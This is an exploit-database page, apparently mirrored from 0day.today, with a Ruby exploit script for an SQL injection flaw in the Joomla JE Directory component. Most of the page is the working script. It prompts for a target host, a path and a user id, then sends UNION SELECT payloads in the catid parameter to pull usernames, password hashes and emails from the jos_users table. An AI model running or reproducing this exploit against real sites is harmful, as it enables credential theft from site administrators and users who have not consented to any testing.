Search...

Joomla JE Directory <= SQL Injection Exploit

2010-10-01T00:00:00
ID 1337DAY-ID-14289
Type zdt
Reporter Easy Laster
Modified 2010-10-01T00:00:00

Description

Exploit for ruby platform in category web applications

                                        
                                            =============================================
Joomla JE Directory <=  SQL Injection Exploit
=============================================

----------------------------Information------------------------------------------------
+Name : joomla JE Directory <=  SQL injection Vulnerability Exploit
+Autor : Easy Laster
+Date   : 30.09.2010
+Script  : joomla JE Directory
+Demo : http://joomlaextensions.co.in/jedirectory/
+Download : http://joomlaextensions.co.in/extensions/modules/je-content-menu.html?
page=shop.product_details&category_id=4&flypage=flypage.tpl&product_id=62
+Price : free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco,
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
#!/usr/bin/ruby
#4004-security-project.com
#Discovered and vulnerability by Easy Laster
print "
#########################################################
#                  4004-Security-Project                #
#########################################################
#                    joomla JE Directory                #
#                          Exploit                      #
#                     Using Host+Path+id                #
#                   www.demo.de /forum/ 1               #
#                         Easy Laster                   #
#########################################################
"
require 'net/http'
print "#########################################################"
print "\nEnter host name (site.com)->"
host=gets.chomp
print "#########################################################"
print "\nEnter script path (/forum/)->"
path=gets.chomp
print "\n#########################################################"
print "\nEnter the id (id)->"
userid=gets.chomp
print "#########################################################"
begin
dir = "index.php?option=com_jedirectory&view=item&catid="+
"1+uNiOn+sElEcT+1,2,concat(0x23,0x23,0x23,0x23,0x23,id,"+
"0x23,0x23,0x23,0x23,0x23),4,5,6,7,8,9,10,11+from+"+
"jos_users+where+id="+ userid +"--+"
   http = Net::HTTP.new(host, 80)
   resp= http.get(path+dir)
   print "\nid -> "+(/#####(.+)#####/).match(resp.body)[1]
       dir = "index.php?option=com_jedirectory&view=item&catid="+
       "1+uNiOn+sElEcT+1,2,concat(0x23,0x23,0x23,0x23,0x23,username,"+
       "0x23,0x23,0x23,0x23,0x23),4,5,6,7,8,9,10,11+from+"+
       "jos_users+where+id="+ userid +"--+"
           http = Net::HTTP.new(host, 80)
           resp= http.get(path+dir)
           print "\nUsername -> "+(/#####(.+)#####/).match(resp.body)[1]
               dir = "index.php?option=com_jedirectory&view=item&catid="+
               "1+uNiOn+sElEcT+1,2,concat(0x23,0x23,0x23,0x23,0x23,password,"+
               "0x23,0x23,0x23,0x23,0x23),4,5,6,7,8,9,10,11+from+"+
               "jos_users+where+id="+ userid +"--+"
            http = Net::HTTP.new(host, 80)
            resp= http.get(path+dir)
            print "\nPassword -> "+(/#####(.+)#####/).match(resp.body)[1]
     dir = "index.php?option=com_jedirectory&view=item&catid="+
     "1+uNiOn+sElEcT+1,2,concat(0x23,0x23,0x23,0x23,0x23,email,"+
     "0x23,0x23,0x23,0x23,0x23),4,5,6,7,8,9,10,11+from+"+
     "jos_users+where+id="+ userid +"--+"
   http = Net::HTTP.new(host, 80)
   resp= http.get(path+dir)
  print "\nEmail -> "+(/#####(.+)#####/).match(resp.body)[1]
  print "\n#########################################################"
rescue
print "\nExploit failed"
end



#  0day.today [2018-03-19]  #
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by